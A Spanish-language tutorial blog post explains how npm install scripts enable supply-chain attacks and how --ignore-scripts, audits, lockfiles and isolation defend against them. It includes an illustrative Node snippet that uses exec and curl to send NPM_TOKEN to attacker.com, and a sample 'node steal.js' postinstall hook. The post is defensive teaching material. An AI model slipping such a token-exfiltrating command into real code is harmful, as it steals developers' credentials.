tutorial

Cómo npm ignore scripts te puede salvar de un hackeo

En el ecosistema de JavaScript moderno, npm es una pieza fundamental.

Jose Gratereaux

Jose Gratereaux

Author

Cómo npm ignore scripts te puede salvar de un hackeo

Millones de proyectos dependen de paquetes de terceros para acelerar el desarrollo. Sin embargo, esta misma dependencia masiva abre una puerta peligrosa: la ejecución automática de scripts durante la instalación.

Aquí es donde entra en juego una opción poco conocida pero extremadamente poderosa: --ignore-scripts, que de paso, viene apagada por defecto en npm.

Este artículo te explicará en profundidad:

  • Qué son los scripts de npm y por qué son peligrosos
  • Cómo funcionan los ataques reales en npm
  • Cómo usar ignore-scripts correctamente
  • Cómo detectar si estás comprometido
  • Buenas prácticas para proteger tu entorno

¿Qué son los scripts en npm?

Cuando instalas un paquete con npm, no solo descargas código. También puedes ejecutar scripts automáticamente definidos en su package.json.

Ejemplo:

{
  "scripts": {
    "preinstall": "node preinstall.js",
    "postinstall": "node setup.js"
  }
}

Estos scripts se ejecutan automáticamente al correr:

npm install

Tipos comunes de scripts peligrosos

  • preinstall
  • install
  • postinstall

Estos tienen acceso completo a tu sistema:

  • Variables de entorno
  • Sistema de archivos
  • Red

Esto significa que pueden:

  • Robar tokens
  • Ejecutar malware
  • Instalar backdoors

¿Cómo ocurre un ataque real?

Caso típico: paquete comprometido

  1. Un desarrollador publica un paquete legítimo
  2. El paquete gana popularidad
  3. Un atacante obtiene acceso (phishing, credenciales filtradas, etc.)
  4. Publica una nueva versión con código malicioso
  5. Los usuarios hacen npm install sin sospechar
  6. El script se ejecuta automáticamente

Ejemplo de script malicioso

const { exec } = require('child_process');

exec('curl http://attacker.com/steal?token=' + process.env.NPM_TOKEN);

Este código roba tokens sin que el usuario lo note.


El problema silencioso

Lo más peligroso es que:

  • No hay alerta visible
  • La instalación parece normal
  • El código malicioso se ejecuta en segundo plano

Esto convierte a npm en un vector de ataque silencioso.


La solución: --ignore-scripts

npm permite deshabilitar la ejecución automática de scripts:

npm install --ignore-scripts

¿Qué hace esto?

  • Descarga el paquete
  • Instala dependencias
  • NO ejecuta scripts

Esto bloquea la mayoría de ataques basados en preinstall y postinstall.


Cómo usarlo paso a paso

1. Instalación segura

Siempre que instales dependencias nuevas:

npm install paquete --ignore-scripts

2. Configuración global

Puedes configurarlo como comportamiento por defecto:

npm config set ignore-scripts true

3. Ejecutar scripts manualmente (si confías)

Si necesitas ejecutar scripts después:

npm run postinstall

Casos donde puede romper cosas

No todo es perfecto. Algunos paquetes dependen de scripts para funcionar:

  • Compilación de binarios (node-gyp)
  • Descarga de assets
  • Configuración inicial

Ejemplo:

npm install esbuild --ignore-scripts

Puede que falle porque no descarga el binario.

Solución

Ejecutar manualmente solo lo necesario:

npm rebuild esbuild

Cómo saber si estás infectado

Señales de alerta

  • Conexiones sospechosas durante instalación
  • Procesos extraños
  • Archivos modificados inesperadamente
  • Tokens comprometidos

Ver scripts en tus dependencias

npm ls --json | jq '.. | .scripts? // empty'

Inspección manual

Revisa:

node_modules/<paquete>/package.json

Auditoría de seguridad

1. npm audit

npm audit

2. Herramientas externas

  • Snyk
  • Socket.dev
  • osv-scanner

Buenas prácticas

1. Usa lockfiles

Nunca instales sin:

package-lock.json

2. Evita paquetes desconocidos

Revisa:

  • Número de descargas
  • Último update
  • Repositorio

3. Usa entornos aislados

  • Docker
  • VM

4. CI/CD seguro

En pipelines:

npm ci --ignore-scripts

Estrategia recomendada (nivel profesional)

  1. Activar ignore-scripts por defecto
  2. Lista blanca de paquetes confiables
  3. Ejecutar scripts manualmente
  4. Monitorear red y filesystem

Comparación: con vs sin protección

Escenario Riesgo
npm install normal Alto
npm install --ignore-scripts Bajo

Ejemplo realista de ataque

Supongamos que instalas:

npm install random-helper

El paquete contiene:

"postinstall": "node steal.js"

Sin protección:

  • Ejecuta automáticamente
  • Roba tus credenciales

Con ignore-scripts:

  • No se ejecuta
  • El ataque falla

Conclusión

--ignore-scripts es una de las medidas más simples y efectivas que puedes implementar hoy mismo.

En un mundo donde la cadena de suministro de software es cada vez más vulnerable, confiar ciegamente en paquetes externos ya no es una opción.

La seguridad no es opcional. Es responsabilidad del desarrollador.


TL;DR

  • npm ejecuta scripts automáticamente
  • Estos scripts pueden ser maliciosos
  • Usa:
npm install --ignore-scripts
  • Configúralo como default
  • Ejecuta scripts solo si confías

Si este artículo te ayudó, compártelo. Podrías estar evitando el próximo hackeo.

Jose Gratereaux

Jose Gratereaux

I'm a software engineer specialized in Laravel, building modern web applications and sharing what I learn along the way. If you enjoyed this post, consider following me on GitHub.